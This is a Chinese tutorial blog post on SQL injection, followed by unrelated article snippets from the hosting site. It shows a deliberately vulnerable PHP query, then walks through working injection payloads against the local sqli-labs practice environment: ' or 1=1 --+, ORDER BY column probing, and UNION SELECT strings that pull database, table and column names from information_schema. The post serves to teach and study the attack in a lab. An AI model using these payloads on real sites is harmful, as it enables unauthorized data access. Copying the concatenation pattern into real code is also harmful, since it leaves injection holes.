SQL进阶理论篇(二十):什么是SQL注入

文章目录

  • 简介
  • SQL注入的原理
  • SQL注入的实例
    • 搭建sqli-labs注入环境
    • 实例一:猜测where条件
    • 判断查询语句的字段数
    • 获取当前数据库和用户信息
    • 获取MySQL中的所有数据库名称
    • 查询wucai数据库中的所有数据表
    • 查询heros数据表中的所有字段
    • 参考文献

简介

这节是纯兴趣篇了。

web安全是一个很大的课题,稍有不注意,就会留下漏洞,允许别人通过非正常的方式注入SQL。

本节我们将通过几个简单的练习来展示以下SQL注入的过程,主要包括以下几部分:

  • SQL注入的原理。用户是如何通过URL请求或者提交web表单的方式提交非法SQL命令的?
  • 如何使用sqli-labs注入平台来进行SQL注入实验?

SQL注入的原理

SQL注入,也叫做SQL Injection。是将非法的SQL命令插入到URL或者表单里进行提交,服务器接收到这些非法提交之后,会认为是正常的SQL语句而执行,从而暴露给用户很多不该看到的信息。

那是如何实现把SQL语句隐藏在输入的信息中呢?

这里举个简单的例子。

如下面的PHP代码,是将浏览器发送过来的URL请求,通过GET的方式获取ID参数,赋值给$id变量,然后通过字符串拼接的方式组成了SQL语句。这里的代码没有对传入的ID参数做检验,而是采用了直接拼接的方式,这样就可能产生SQL注入。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

如果我们在URL里的?id=后面输入' or 1=1 --+,那么SQL语句就变成了:

SELECT * FROM users WHERE id='' or 1=1 --  LIMIT 0,1

其中+在浏览器URL相当于是空格,而输入的--则把之后的limit全部注释掉了,整个SQL摇身一变,可以从users表中获取所有数据了。

危险。

SQL注入的实例

通常我们希望通过SQL注入获取更多的信息,比如说数据库名、表名和字段名等。

搭建sqli-labs注入环境

这是一个开源的SQL注入平台,用来模拟实现注入。可以从github上下载。

第二步,下载好后,我们需要配置PHP、Apache环境,来运行sqli-labs。如果本机没有这些环境也没有关系,推荐直接使用phpStudy这个工具,里面集成了PHP、Apache和MySQL,甚至还能指定版本,其运行图如下:

在这里插入图片描述

第三步,配置sqli-labs以及Mysql参数。

给sqli-labs指定需要访问的数据库账户和密码。打开sqli-labs-master\sql-connections\db-creds.inc文件,修改里面的$dbpass,改成我们自己的MySQL密码。

在这里插入图片描述

接着访问http://localhost/sqli-labs-master/,在打开的下面页面里,选择Setup/reset Database for labs,以启动数据库。

在这里插入图片描述

如果此时提示数据库连接错误,那可能需要我们修改以下MySQL的配置文件:

[client]
default-character-set=utf8
[mysql]
default-character-set=utf8
[mysqld]
character-set-server = utf8
default_authentication_plugin = mysql_native_password

实例一:猜测where条件

访问本地的http://localhost/sqli-labs-master/Less-1/页面,如下所示:

在这里插入图片描述

我们可以在URL里加上ID参数,来获取指定ID的信息,比如:http://localhost/sqli-labs-master/Less-1/?id=1

像这种都是正常的访问请求,现在我们访问http://localhost/sqli-labs-master/Less-1/?id=1 or 1=1,回车后发现仍然能正常访问,说明ID参数不是数值查询,有可能是字符串查询,那我们在1后面加上一个单引号,即访问http://localhost/sqli-labs-master/Less-1/?id=1'

这时候页面上会返回错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1。

剖析这个错误,我们可以判断出后台的SQL语句,类似于:

$sql="SELECT ... FROM ... WHERE id='$id' LIMIT 0,1";

判断查询语句的字段数

现在我们已经对后台的SQL查询有了大致的判断,是通过字符串拼接完成的SQL查询。现在我们判断下这个查询语句里的字段个数。怎么判断呢,通常是根据order by x,这里的x是我们估计的字段个数。在SQL里,如果x数值大于select查询的字段数,会报相应的语法错误。根据这个原理,我们就可以摸索出select查询的具体字段数。

比如:

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

报错。

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

正确。

说明select查询的字段数为3个。

获取当前数据库和用户信息

这里我们使用union操作符。

前面我们已经判断出,查询语句的字段个数为3,那么我们就union上select 1, datebase(), user()来获取当前数据库名和用户名。

整个URL为:http://localhost/sqli-labs-master/Less-1/?id=' union select 1,database(),user() --+

返回结果如图:

在这里插入图片描述

页面中显示的security就是当前的数据库名称,root则表示当前的用户信息。

获取MySQL中的所有数据库名称

仍然是使用union操作符,但是数据库名称数量肯定是大于1的,所以我们需要使用group_concat(),将同一分组中的值连接起来,以字符串的形式返回。

具体使用如下:

http://localhost/sqli-labs-master/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+

页面返回如下:

在这里插入图片描述

查询wucai数据库中的所有数据表

上一步我们得到了所有的数据库名称,如果我们想查看指定数据库中都有哪些数据表,可以使用:

http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wucai') --+

在这里插入图片描述

查询heros数据表中的所有字段

如果我们想查看指定数据表中的字段,可以使用:

http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='heros') --+

在这里插入图片描述

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/241359.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

less 查看文本时,提示may be a binary file.See it anyway?

解决办法 首先使用echo $LESSCHARSET查看less的编码 看情况设置less的编码格式(我的服务器上使用utf-8查看中文) 还要特别注意一下,Linux中存在的文本文件的编码一定要是utf - 8;(这一步很关键) 例如:要保证windows上传到Linux的…

Linux Shell 001-Bash简介

Linux Shell 001-Bash简介 本节关键字:Linux、Bash Shell、shell分类 相关指令:bash、sh、cat Shell的介绍 计算机只能认识(识别)机器语言(0和1),如(11000000 这种)。但是,我们的…

力扣(leetcode)1148和1179题(MySQL)

1148.文章浏览I 题目链接:1148.文章浏览I 解答 # Write your MySQL query statement below select distinct author_id as id from Views where author_idviewer_id order by id;1179.重新格式化部门表 题目链接:1179.重新格式化部门表 解答 …

线程池构造方法的认识

线程池中构造方法的认识 文章目录 线程池中构造方法的认识corePoolSize (核心线程数)maximumPoolSize(最大线程数)keepAliveTime(非核心线程的空闲超时时间)TimeUnitworkQueuethreadFactoryRejectedExecutionHandler拒绝策略 标准库中提供了一个ThreadPo…

conda镜像源,Jupyter内核配置

python -m ipykernel install --user --namezgy阿里源 conda config --add channels http://mirrors.aliyun.com/anaconda/pkgs/main conda config --add channels http://mirrors.aliyun.com/anaconda/pkgs/r conda config --add channels http://mirrors.aliyun.com/anaconda…

uniapp自定义头部导航怎么实现?

一、在pages.json文件里边写上自定义属性 "navigationStyle": "custom" 二、在对应的index页面写上以下&#xff1a; <view :style"{ height: headheight px, backgroundColor: #24B7FF, zIndex: 99, position: fixed, top: 0px, width: 100% …

RocketMQ实践:确保消息不丢失与顺序性的高效策略

一、使用RocketMQ如何保证消息不丢失&#xff1f; 这个是在面试时&#xff0c;关于MQ&#xff0c;面试官最喜欢问的问题。这个问题是所有MQ都需要面对的一个共性问 题。大致的解决思路都是一致的&#xff0c;但是针对不同的MQ产品又有不同的解决方案。分析这个问题要从以 下几…

从导航软件到游戏行业的小讨论

大家好&#xff0c;我是阿赵。   最近&#xff0c;我把用了十几年的百度地图&#xff0c;换成了高德地图。百度地图从功能上是没问题的&#xff0c;非常好用&#xff0c;而导致我不继续用它的原因&#xff0c;其实是一个很小的原因&#xff1a;百度地图在导航的过程中&#x…

汽车服务品牌网站建设的作用是什么

汽车服务涵盖多个层面&#xff0c;在保修维护这一块更是精准到了车内车外&#xff0c;无论是品牌商还是市场中各维修部&#xff0c;都能给到车辆很好的维修养护服务。如今车辆的人均拥有量已经非常高&#xff0c;也因此市场中围绕汽车相关的从业者也比较多。 首先就是拓客引流…

SpringBoot找不到或无法加载主类

1&#xff0c;bug贴图 2&#xff0c;问题说明 之所以导致这个问题是因为新建项目的时候&#xff0c;项目目录是这样的com.lab.hei.springboot.dubbo.ProviderApplication 我觉得这个目录太长了&#xff0c;所以修改了目录&#xff0c;修改后cn.alisa.springboot.dubbo.Provider…

PostGreSQL:货币类型

货币类型&#xff1a;money money类型存储固定小数精度的货币数字&#xff0c;小数的精度由数据库的lc_monetary设置决定。windows系统下&#xff0c;该配置项位于/data/postgresql.conf文件中&#xff0c;默认配置如下&#xff0c; lc_monetary Chinese (Simplified)_Chi…

C++的一些零散小知识

文章目录 1、空指针nullptr的类型为std::nullptr_t2、函数定义中&#xff0c;如果不需要使用参数的值&#xff0c;可以省略参数名3、静态成员变量在C17之后可以直接在类内定义并初始化了 1、空指针nullptr的类型为std::nullptr_t 一个毫无意义的例子&#xff1a; template<…

LeetCode258. Add Digits

文章目录 一、题目二、题解 一、题目 Given an integer num, repeatedly add all its digits until the result has only one digit, and return it. Example 1: Input: num 38 Output: 2 Explanation: The process is 38 --> 3 8 --> 11 11 --> 1 1 --> 2 S…

【Oracle】修改表结构

目录 创建示例1&#xff1a;添加一个或多个列 创建示例2&#xff1a;修改列定义 创建示例3&#xff1a; 删除一列或多列 创建示例4:重命名列 创建示例5:重命名表 创建示例1&#xff1a;添加一个或多个列 -----语法&#xff1a;将新列添加到表中 ALTER TABLE table_name A…

了解米勒-拉宾素性测试算法

引言 素数在密码学、计算机科学和数学领域有着重要的应用。米勒-拉宾素性测试算法是一种用来判断一个数是否为素数的概率性算法,本文将介绍该算法的原理、实现以及应用。 素数及其重要性 在数学中,素数(质数)指的是只能被 1 和自身整除的自然数,如 2、3、5、7 等。素数…

大模型工具_QUIVR

https://github.com/StanGirard/quivr/ 24.5K Star 1 功能 整体功能&#xff0c;想解决什么问题 实现了前后端结合的 RAG 方案。构建能直接使用的应用。提出了“第二大脑”&#xff0c;具体实现也是RAG&#xff0c;但针对不同用户不同场景支持多个“大脑”并存&#xff0c;每个…

css 三角形实现方式及快速联想记忆

css实现三角形是常见的需求&#xff0c;在此记录如下 1 边框实现 原理&#xff1a;相邻的border之间会形成一条斜线(可按此联想记忆) .triangle {width: 0;height: 0;border-left: 100px solid red;border-right: 100px solid green;border-top: 100px solid blue;border-bot…

Spring Boot实践指南

一.SpringBoot入门案例 SpringBoot是由Pivotal团队提供的全新框架&#xff0c;其设计目的是用来简化Spring应用的初始搭建以及开发过程 原生开发SpringMVC程序过程 在没有SpringBoot前&#xff1a; 1.入门案例开发步骤 &#xff08;1&#xff09;创建新模块&#xff0c;选…

模式识别与机器学习(九):Adaboost

1.原理 AdaBoost是Adaptive Boosting&#xff08;自适应增强&#xff09;的缩写&#xff0c;它的自适应在于&#xff1a;被前一个基本分类器误分类的样本的权值会增大&#xff0c;而正确分类的样本的权值会减小&#xff0c;并再次用来训练下一个基本分类器。同时&#xff0c;在…